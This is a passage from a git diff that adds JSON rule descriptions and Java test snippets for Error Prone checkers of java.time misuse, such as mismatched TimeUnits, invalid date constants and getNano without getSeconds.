org.joda.time.Duration d) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(d.getMillis(), TimeUnit.MILLISECONDS);\n f.get(d.getStandardSeconds(), TimeUnit.SECONDS);\n f.get(d.getStandardMinutes(), TimeUnit.MINUTES);\n f.get(d.getStandardHours(), TimeUnit.HOURS);\n f.get(d.getStandardDays(), TimeUnit.DAYS);\n }\n\n void jodaTime(Future f, org.joda.time.Instant i) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(i.getMillis(), TimeUnit.MILLISECONDS);\n }\n\n void protoTime(Future f, Duration d) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(d.getSeconds(), TimeUnit.SECONDS);\n }\n\n void protoTime(Future f, Timestamp t) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(t.getSeconds(), TimeUnit.SECONDS);\n }\n }" + }, + { + "description": "correspondingUnitsAreOk_staticImport", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import static java.util.concurrent.TimeUnit.DAYS;\n import static java.util.concurrent.TimeUnit.HOURS;\n import static java.util.concurrent.TimeUnit.MILLISECONDS;\n import static java.util.concurrent.TimeUnit.MINUTES;\n import static java.util.concurrent.TimeUnit.NANOSECONDS;\n import static java.util.concurrent.TimeUnit.SECONDS;\n import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n import java.util.concurrent.Future;\n\n public class TestClass {\n void javaTime(Future f, java.time.Duration d) throws Exception {\n f.get(42L, SECONDS);\n f.get(d.toNanos(), NANOSECONDS);\n f.get(d.toMillis(), MILLISECONDS);\n f.get(d.toSeconds(), SECONDS);\n f.get(d.getSeconds(), SECONDS);\n f.get(d.toMinutes(), MINUTES);\n f.get(d.toHours(), HOURS);\n f.get(d.toDays(), DAYS);\n }\n\n void javaTime(Future f, java.time.Instant i) throws Exception {\n f.get(42L, SECONDS);\n f.get(i.toEpochMilli(), MILLISECONDS);\n f.get(i.getEpochSecond(), SECONDS);\n }\n\n void jodaTime(Future f, org.joda.time.Duration d) throws Exception {\n f.get(42L, SECONDS);\n f.get(d.getMillis(), MILLISECONDS);\n f.get(d.getStandardSeconds(), SECONDS);\n f.get(d.getStandardMinutes(), MINUTES);\n f.get(d.getStandardHours(), HOURS);\n f.get(d.getStandardDays(), DAYS);\n }\n\n void jodaTime(Future f, org.joda.time.Instant i) throws Exception {\n f.get(42L, SECONDS);\n f.get(i.getMillis(), MILLISECONDS);\n }\n\n void protoTime(Future f, Duration d) throws Exception {\n f.get(42L, SECONDS);\n f.get(d.getSeconds(), SECONDS);\n }\n\n void protoTime(Future f, Timestamp t) throws Exception {\n f.get(42L, SECONDS);\n f.get(t.getSeconds(), SECONDS);\n }\n }" + }, + { + "description": "conflictingUnitsFail", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n import java.util.concurrent.Future;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n void javaTime(Future f, java.time.Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.toNanos(), TimeUnit.NANOSECONDS)\n f.get(d.toNanos(), TimeUnit.MILLISECONDS);\n // BUG: Diagnostic contains: f.get(d.toMillis(), TimeUnit.MILLISECONDS)\n f.get(d.toMillis(), TimeUnit.NANOSECONDS);\n // BUG: Diagnostic contains: f.get(d.toSeconds(), TimeUnit.SECONDS)\n f.get(d.toSeconds(), TimeUnit.MINUTES);\n // BUG: Diagnostic contains: f.get(d.getSeconds(), TimeUnit.SECONDS)\n f.get(d.getSeconds(), TimeUnit.MINUTES);\n // BUG: Diagnostic contains: f.get(d.toMinutes(), TimeUnit.MINUTES)\n f.get(d.toMinutes(), TimeUnit.SECONDS);\n // BUG: Diagnostic contains: f.get(d.toHours(), TimeUnit.HOURS)\n f.get(d.toHours(), TimeUnit.DAYS);\n // BUG: Diagnostic contains: f.get(d.toDays(), TimeUnit.DAYS)\n f.get(d.toDays(), TimeUnit.HOURS);\n }\n\n void javaTime(Future f, java.time.Instant i) throws Exception {\n // BUG: Diagnostic contains: f.get(i.toEpochMilli(), TimeUnit.MILLISECONDS)\n f.get(i.toEpochMilli(), TimeUnit.NANOSECONDS);\n // BUG: Diagnostic contains: f.get(i.getEpochSecond(), TimeUnit.SECONDS)\n f.get(i.getEpochSecond(), TimeUnit.MINUTES);\n }\n\n void jodaTime(Future f, org.joda.time.Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.getMillis(), TimeUnit.MILLISECONDS)\n f.get(d.getMillis(), TimeUnit.NANOSECONDS);\n // BUG: Diagnostic contains: f.get(d.getStandardSeconds(), TimeUnit.SECONDS)\n f.get(d.getStandardSeconds(), TimeUnit.MINUTES);\n // BUG: Diagnostic contains: f.get(d.getStandardMinutes(), TimeUnit.MINUTES)\n f.get(d.getStandardMinutes(), TimeUnit.SECONDS);\n // BUG: Diagnostic contains: f.get(d.getStandardHours(), TimeUnit.HOURS)\n f.get(d.getStandardHours(), TimeUnit.DAYS);\n // BUG: Diagnostic contains: f.get(d.getStandardDays(), TimeUnit.DAYS)\n f.get(d.getStandardDays(), TimeUnit.HOURS);\n }\n\n void jodaTime(Future f, org.joda.time.Instant i) throws Exception {\n // BUG: Diagnostic contains: f.get(i.getMillis(), TimeUnit.MILLISECONDS)\n f.get(i.getMillis(), TimeUnit.NANOSECONDS);\n }\n\n void protoTime(Future f, Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.getSeconds(), TimeUnit.SECONDS)\n f.get(d.getSeconds(), TimeUnit.MINUTES);\n }\n\n void protoTime(Future f, Timestamp t) throws Exception {\n // BUG: Diagnostic contains: f.get(t.getSeconds(), TimeUnit.SECONDS)\n f.get(t.getSeconds(), TimeUnit.MINUTES);\n }\n }" + }, + { + "description": "conflictingUnitsFail_staticImport", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "import static java.util.concurrent.TimeUnit.DAYS;\n import static java.util.concurrent.TimeUnit.HOURS;\n import static java.util.concurrent.TimeUnit.MILLISECONDS;\n import static java.util.concurrent.TimeUnit.MINUTES;\n import static java.util.concurrent.TimeUnit.NANOSECONDS;\n import static java.util.concurrent.TimeUnit.SECONDS;\n import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n import java.util.concurrent.Future;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n void javaTime(Future f, java.time.Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.toNanos(), TimeUnit.NANOSECONDS)\n f.get(d.toNanos(), MILLISECONDS);\n // BUG: Diagnostic contains: f.get(d.toMillis(), TimeUnit.MILLISECONDS)\n f.get(d.toMillis(), NANOSECONDS);\n // BUG: Diagnostic contains: f.get(d.toSeconds(), TimeUnit.SECONDS)\n f.get(d.toSeconds(), MINUTES);\n // BUG: Diagnostic contains: f.get(d.getSeconds(), TimeUnit.SECONDS)\n f.get(d.getSeconds(), MINUTES);\n // BUG: Diagnostic contains: f.get(d.toMinutes(), TimeUnit.MINUTES)\n f.get(d.toMinutes(), SECONDS);\n // BUG: Diagnostic contains: f.get(d.toHours(), TimeUnit.HOURS)\n f.get(d.toHours(), DAYS);\n // BUG: Diagnostic contains: f.get(d.toDays(), TimeUnit.DAYS)\n f.get(d.toDays(), HOURS);\n }\n\n void javaTime(Future f, java.time.Instant i) throws Exception {\n // BUG: Diagnostic contains: f.get(i.toEpochMilli(), TimeUnit.MILLISECONDS)\n f.get(i.toEpochMilli(), NANOSECONDS);\n // BUG: Diagnostic contains: f.get(i.getEpochSecond(), TimeUnit.SECONDS)\n f.get(i.getEpochSecond(), MINUTES);\n }\n\n void jodaTime(Future f, org.joda.time.Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.getMillis(), TimeUnit.MILLISECONDS)\n f.get(d.getMillis(), NANOSECONDS);\n // BUG: Diagnostic contains: f.get(d.getStandardSeconds(), TimeUnit.SECONDS)\n f.get(d.getStandardSeconds(), MINUTES);\n // BUG: Diagnostic contains: f.get(d.getStandardMinutes(), TimeUnit.MINUTES)\n f.get(d.getStandardMinutes(), SECONDS);\n // BUG: Diagnostic contains: f.get(d.getStandardHours(), TimeUnit.HOURS)\n f.get(d.getStandardHours(), DAYS);\n // BUG: Diagnostic contains: f.get(d.getStandardDays(), TimeUnit.DAYS)\n f.get(d.getStandardDays(), HOURS);\n }\n\n void jodaTime(Future f, org.joda.time.Instant i) throws Exception {\n // BUG: Diagnostic contains: f.get(i.getMillis(), TimeUnit.MILLISECONDS)\n f.get(i.getMillis(), NANOSECONDS);\n }\n\n void protoTime(Future f, Duration d) throws Exception {\n // BUG: Diagnostic contains: f.get(d.getSeconds(), TimeUnit.SECONDS)\n f.get(d.getSeconds(), MINUTES);\n }\n\n void protoTime(Future f, Timestamp t) throws Exception {\n // BUG: Diagnostic contains: f.get(t.getSeconds(), TimeUnit.SECONDS)\n f.get(t.getSeconds(), MINUTES);\n }\n }" + }, + { + "description": "nonTimeUnitVariablesAreOk", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n\n public class TestClass {\n private enum MyEnum {\n DAYS\n };\n\n void javaTime(java.time.Duration d) {\n myMethod(d.toNanos(), MyEnum.DAYS);\n }\n\n void javaTime(java.time.Instant i) {\n myMethod(i.toEpochMilli(), MyEnum.DAYS);\n }\n\n void jodaTime(org.joda.time.Duration d) {\n myMethod(d.getMillis(), MyEnum.DAYS);\n }\n\n void jodaTime(org.joda.time.Instant i) {\n myMethod(i.getMillis(), MyEnum.DAYS);\n }\n\n void protoTime(Duration d) {\n myMethod(d.getSeconds(), MyEnum.DAYS);\n }\n\n void protoTime(Timestamp t) {\n myMethod(t.getSeconds(), MyEnum.DAYS);\n }\n\n void myMethod(long value, MyEnum myEnum) {\n // no op\n }\n }" + }, + { + "description": "intTimeUnitParameters", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "" + }, + { + "description": "timeUnitFromConvert", + "expected-problems": null, + "expected-linenumbers": [ + 356 + ], + "code": "import java.time.Duration;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n void javaTime(Duration d) {\n // BUG: Diagnostic contains: DurationToLongTimeUnit\n myMethod(TimeUnit.SECONDS.convert(d), TimeUnit.MINUTES);\n }\n\n void myMethod(long value, TimeUnit unit) {\n // no op\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/FromTemporalAccessor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/FromTemporalAccessor.json new file mode 100644 index 0000000..991fd1f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/FromTemporalAccessor.json @@ -0,0 +1,86 @@ +{ + "name": "FromTemporalAccessor", + "language": "java", + "description": "Certain combinations of javaTimeType.from(TemporalAccessor) will always throw a DateTimeException or return the parameter directly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 445, + "branches": 12, + "apis": 3, + "test": [ + { + "description": "typeFromTypeIsBad", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "" + }, + { + "description": "typeFromTemporalAccessor_knownGood", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import java.time.DayOfWeek;\n import java.time.Instant;\n import java.time.LocalDate;\n import java.time.LocalDateTime;\n import java.time.LocalTime;\n import java.time.Month;\n import java.time.MonthDay;\n import java.time.OffsetDateTime;\n import java.time.OffsetTime;\n import java.time.Year;\n import java.time.YearMonth;\n import java.time.ZonedDateTime;\n import java.time.ZoneOffset;\n import java.time.temporal.TemporalAccessor;\n\n public class TestClass {\n void from(TemporalAccessor value) {\n DayOfWeek.from(value);\n Instant.from(value);\n LocalDate.from(value);\n LocalDateTime.from(value);\n LocalTime.from(value);\n Month.from(value);\n MonthDay.from(value);\n OffsetDateTime.from(value);\n OffsetTime.from(value);\n Year.from(value);\n YearMonth.from(value);\n ZonedDateTime.from(value);\n ZoneOffset.from(value);\n }\n }" + }, + { + "description": "typeFromType_knownGood", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.time.LocalDate;\n import java.time.Year;\n\n public class TestClass {\n void from(LocalDate value) {\n Year.from(value);\n }\n }" + }, + { + "description": "typeFromType_threeTenExtra_knownGood", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "import java.time.LocalTime;\n import org.threeten.extra.AmPm;\n\n public class TestClass {\n void from(LocalTime value) {\n AmPm.from(value);\n }\n }" + }, + { + "description": "typeFromType_threeTenExtra_self", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "import org.threeten.extra.AmPm;\n\n public class TestClass {\n void from(AmPm value) {\n // BUG: Diagnostic contains: Did you mean 'value;'\n AmPm.from(value);\n }\n }" + }, + { + "description": "typeFromType_customType", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "import java.time.DateTimeException;\n import java.time.temporal.TemporalAccessor;\n import java.time.temporal.TemporalField;\n\n public class Frobber implements TemporalAccessor {\n static Frobber from(TemporalAccessor temporalAccessor) {\n if (temporalAccessor instanceof Frobber) {\n return (Frobber) temporalAccessor;\n }\n throw new DateTimeException(\"failure\");\n }\n\n @Override\n public long getLong(TemporalField field) {\n return 0;\n }\n\n @Override\n public boolean isSupported(TemporalField field) {\n return false;\n }\n }\n \n\n public class TestClass {\n void from(Frobber value) {\n Frobber frobber = Frobber.from(value);\n }\n }" + }, + { + "description": "typeFromType_knownBadConversions", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "import java.time.LocalDate;\n import java.time.LocalDateTime;\n import org.threeten.extra.Quarter;\n\n public class TestClass {\n void from(LocalDate localDate, Quarter quarter) {\n // BUG: Diagnostic contains: FromTemporalAccessor\n LocalDateTime.from(localDate);\n // BUG: Diagnostic contains: FromTemporalAccessor\n LocalDateTime.from(quarter);\n }\n }" + }, + { + "description": "typeFromType_knownBadConversions_insideJavaTime", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "package java.time;\n\n import java.time.LocalDate;\n import java.time.LocalDateTime;\n\n public class TestClass {\n void from(LocalDate localDate) {\n LocalDateTime.from(localDate);\n }\n }" + }, + { + "description": "typeFromType_knownBadConversions_insideThreeTenExtra", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "package org.threeten.extra;\n\n import java.time.LocalDateTime;\n\n public class TestClass {\n void from(Quarter quarter) {\n LocalDateTime.from(quarter);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InstantTemporalUnit.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InstantTemporalUnit.json new file mode 100644 index 0000000..f4de696 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InstantTemporalUnit.json @@ -0,0 +1,54 @@ +{ + "name": "InstantTemporalUnit", + "language": "java", + "description": "Instant APIs only work for NANOS, MICROS, MILLIS, SECONDS, MINUTES, HOURS, HALF_DAYS and DAYS.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "invalidTemporalUnitsMatchesEnumeratedList", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "" + }, + { + "description": "instantPlus_good", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import java.time.Instant;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final Instant I0 = Instant.EPOCH.plus(1, ChronoUnit.DAYS);\n private static final Instant I1 = Instant.EPOCH.plus(1, ChronoUnit.HALF_DAYS);\n private static final Instant I2 = Instant.EPOCH.plus(1, ChronoUnit.HOURS);\n private static final Instant I3 = Instant.EPOCH.plus(1, ChronoUnit.MICROS);\n private static final Instant I4 = Instant.EPOCH.plus(1, ChronoUnit.MILLIS);\n private static final Instant I5 = Instant.EPOCH.plus(1, ChronoUnit.MINUTES);\n private static final Instant I6 = Instant.EPOCH.plus(1, ChronoUnit.NANOS);\n private static final Instant I7 = Instant.EPOCH.plus(1, ChronoUnit.SECONDS);\n }" + }, + { + "description": "instantPlus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import java.time.Instant;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I0 = Instant.EPOCH.plus(1, ChronoUnit.CENTURIES);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I1 = Instant.EPOCH.plus(1, ChronoUnit.DECADES);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I2 = Instant.EPOCH.plus(1, ChronoUnit.ERAS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I3 = Instant.EPOCH.plus(1, ChronoUnit.FOREVER);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I4 = Instant.EPOCH.plus(1, ChronoUnit.MILLENNIA);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I5 = Instant.EPOCH.plus(1, ChronoUnit.MONTHS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I6 = Instant.EPOCH.plus(1, ChronoUnit.WEEKS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I7 = Instant.EPOCH.plus(1, ChronoUnit.YEARS);\n }" + }, + { + "description": "instantMinus_good", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.time.Instant;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final Instant I0 = Instant.EPOCH.minus(1, ChronoUnit.DAYS);\n private static final Instant I1 = Instant.EPOCH.minus(1, ChronoUnit.HALF_DAYS);\n private static final Instant I2 = Instant.EPOCH.minus(1, ChronoUnit.HOURS);\n private static final Instant I3 = Instant.EPOCH.minus(1, ChronoUnit.MICROS);\n private static final Instant I4 = Instant.EPOCH.minus(1, ChronoUnit.MILLIS);\n private static final Instant I5 = Instant.EPOCH.minus(1, ChronoUnit.MINUTES);\n private static final Instant I6 = Instant.EPOCH.minus(1, ChronoUnit.NANOS);\n private static final Instant I7 = Instant.EPOCH.minus(1, ChronoUnit.SECONDS);\n }" + }, + { + "description": "instantMinus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import java.time.Instant;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I0 = Instant.EPOCH.minus(1, ChronoUnit.CENTURIES);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I1 = Instant.EPOCH.minus(1, ChronoUnit.DECADES);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I2 = Instant.EPOCH.minus(1, ChronoUnit.ERAS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I3 = Instant.EPOCH.minus(1, ChronoUnit.FOREVER);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I4 = Instant.EPOCH.minus(1, ChronoUnit.MILLENNIA);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I5 = Instant.EPOCH.minus(1, ChronoUnit.MONTHS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I6 = Instant.EPOCH.minus(1, ChronoUnit.WEEKS);\n // BUG: Diagnostic contains: InstantTemporalUnit\n private static final Instant I7 = Instant.EPOCH.minus(1, ChronoUnit.YEARS);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InvalidJavaTimeConstant.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InvalidJavaTimeConstant.json new file mode 100644 index 0000000..b878373 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/InvalidJavaTimeConstant.json @@ -0,0 +1,78 @@ +{ + "name": "InvalidJavaTimeConstant", + "language": "java", + "description": "This checker errors on calls to java.time methods using values that are guaranteed to throw a DateTimeException.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 302, + "branches": 10, + "apis": 7, + "test": [ + { + "description": "cornerCases", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package test;\n\n import java.time.LocalDateTime;\n import java.time.LocalTime;\n\n public class TestCase {\n // BUG: Diagnostic contains: MonthOfYear (valid values 1 - 12): 0\n private static final LocalDateTime LDT0 = LocalDateTime.of(0, 0, 0, 0, 0);\n private static final LocalDateTime LDT1 = LocalDateTime.of(0, 1, 1, 0, 0);\n private static final LocalTime LT = LocalTime.ofNanoOfDay(12345678);\n }" + }, + { + "description": "localDate_areOk", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "" + }, + { + "description": "localDate_withBadDays", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package test;\n\n import java.time.LocalDate;\n import java.time.Month;\n\n public class TestCase {\n // BUG: Diagnostic contains: DayOfMonth (valid values 1 - 28/31): 32\n private static final LocalDate LD0 = LocalDate.of(1985, 5, 32);\n // BUG: Diagnostic contains: DayOfMonth (valid values 1 - 28/31): 32\n private static final LocalDate LD1 = LocalDate.of(1985, Month.MAY, 32);\n }" + }, + { + "description": "localDate_withBadMonths", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "package test;\n\n import java.time.LocalDate;\n\n public class TestCase {\n // BUG: Diagnostic contains: MonthOfYear (valid values 1 - 12): -1\n private static final LocalDate LD0 = LocalDate.of(1985, -1, 31);\n // BUG: Diagnostic contains: MonthOfYear (valid values 1 - 12): 0\n private static final LocalDate LD1 = LocalDate.of(1985, 0, 31);\n // BUG: Diagnostic contains: MonthOfYear (valid values 1 - 12): 13\n private static final LocalDate LD2 = LocalDate.of(1985, 13, 31);\n }" + }, + { + "description": "localDate_withBadYears", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "package test;\n\n import java.time.LocalDate;\n import java.time.Year;\n\n public class TestCase {\n // BUG: Diagnostic contains: Year (valid values -999999999 - 999999999): -1000000000\n private static final LocalDate LD0 = LocalDate.of(Year.MIN_VALUE - 1, 5, 31);\n // BUG: Diagnostic contains: Year (valid values -999999999 - 999999999): 1000000000\n private static final LocalDate LD1 = LocalDate.of(Year.MAX_VALUE + 1, 5, 31);\n }" + }, + { + "description": "localDate_withBadDayOfMonth", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "package test;\n\n import java.time.LocalDate;\n\n public class TestCase {\n private static LocalDate foo(LocalDate localDate) {\n // BUG: Diagnostic contains: DayOfMonth (valid values 1 - 28/31): 0\n return localDate.withDayOfMonth(0);\n }\n }" + }, + { + "description": "localTime_withBadHour", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "package test;\n\n import java.time.LocalTime;\n\n public class TestCase {\n private static LocalTime foo(LocalTime localTime) {\n // BUG: Diagnostic contains: HourOfDay (valid values 0 - 23): 25\n return localTime.withHour(25);\n }\n }" + }, + { + "description": "dayOfWeek_withBadDay", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "package test;\n\n import java.time.DayOfWeek;\n\n public class TestCase {\n // BUG: Diagnostic contains: DayOfWeek (valid values 1 - 7): 8\n private static final DayOfWeek DOW = DayOfWeek.of(8);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsGetNano.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsGetNano.json new file mode 100644 index 0000000..7782f30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JavaDurationGetSecondsGetNano.json @@ -0,0 +1,158 @@ +{ + "name": "JavaDurationGetSecondsGetNano", + "language": "java", + "description": "duration.getNano() only accesses the underlying nanosecond adjustment from the whole second.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "getSecondsWithGetNanos", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n int nanos = duration.getNano();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "package test;\n\n import com.google.common.collect.ImmutableMap;\n import java.time.Duration;\n\n public class TestCase {\n public static int foo(Duration duration) {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n return duration.getNano();\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInReturnType2", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package test;\n\nimport com.google.common.collect.ImmutableMap;\nimport java.time.Duration;\n\npublic class TestCase {\n public static ImmutableMap foo(Duration duration) {\n return ImmutableMap.of(\"seconds\", duration.getSeconds(), \"nanos\", duration.getNano());\n }\n}" + }, + { + "description": "getSecondsWithGetNanosDifferentScope", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n if (true) {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = duration.getNano();\n }\n }\n }" + }, + { + "description": "getSecondsWithGetNanosInDifferentMethods", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n }\n\n public static void bar(Duration duration) {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = duration.getNano();\n }\n }" + }, + { + "description": "getSecondsOnly", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n long seconds = duration.getSeconds();\n }\n }" + }, + { + "description": "getNanoOnly", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n public static void foo(Duration duration) {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = duration.getNano();\n }\n }" + }, + { + "description": "getNanoInMethodGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.ZERO;\n private static final long seconds = DURATION.getSeconds();\n\n public static void foo() {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = DURATION.getNano();\n }\n }" + }, + { + "description": "getSecondsOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n static {\n long seconds = Duration.ZERO.getSeconds();\n }\n }" + }, + { + "description": "getNanoOnlyInStaticBlock", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n static {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = Duration.ZERO.getNano();\n }\n }" + }, + { + "description": "getSecondsOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n private final long seconds = Duration.ZERO.getSeconds();\n private final int nanos = Duration.ZERO.getNano();\n }" + }, + { + "description": "getNanoOnlyInClassBlock", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n private final int nanos = Duration.ZERO.getNano();\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInMethod", + "expected-problems": null, + "expected-linenumbers": [ + 280 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.ZERO;\n\n public static void foo() {\n long seconds = DURATION.getSeconds();\n Object obj =\n new Object() {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n return String.valueOf(DURATION.getNano());\n }\n };\n }\n }" + }, + { + "description": "getNanoInInnerClassGetSecondsInClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 309 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n Duration DURATION = Duration.ZERO;\n long seconds = DURATION.getSeconds();\n Object obj =\n new Object() {\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n long nanos = DURATION.getNano();\n };\n }" + }, + { + "description": "getNanoInMethodGetSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "package test;\n\n import java.time.Duration;\n\n public class TestCase {\n private static final Duration DURATION = Duration.ZERO;\n\n public static void foo() {\n Runnable r = () -> DURATION.getSeconds();\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = DURATION.getNano();\n }\n }" + }, + { + "description": "getSecondsInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 355 + ], + "code": "package test;\n\n import java.time.Duration;\n import java.util.function.Supplier;\n\n public class TestCase {\n private static final Duration DURATION = Duration.ZERO;\n\n public void foo() {\n doSomething(() -> DURATION.getSeconds());\n // BUG: Diagnostic contains: JavaDurationGetSecondsGetNano\n int nanos = DURATION.getNano();\n }\n\n public void doSomething(Supplier supplier) {}\n }" + }, + { + "description": "getNanoInLambda", + "expected-problems": null, + 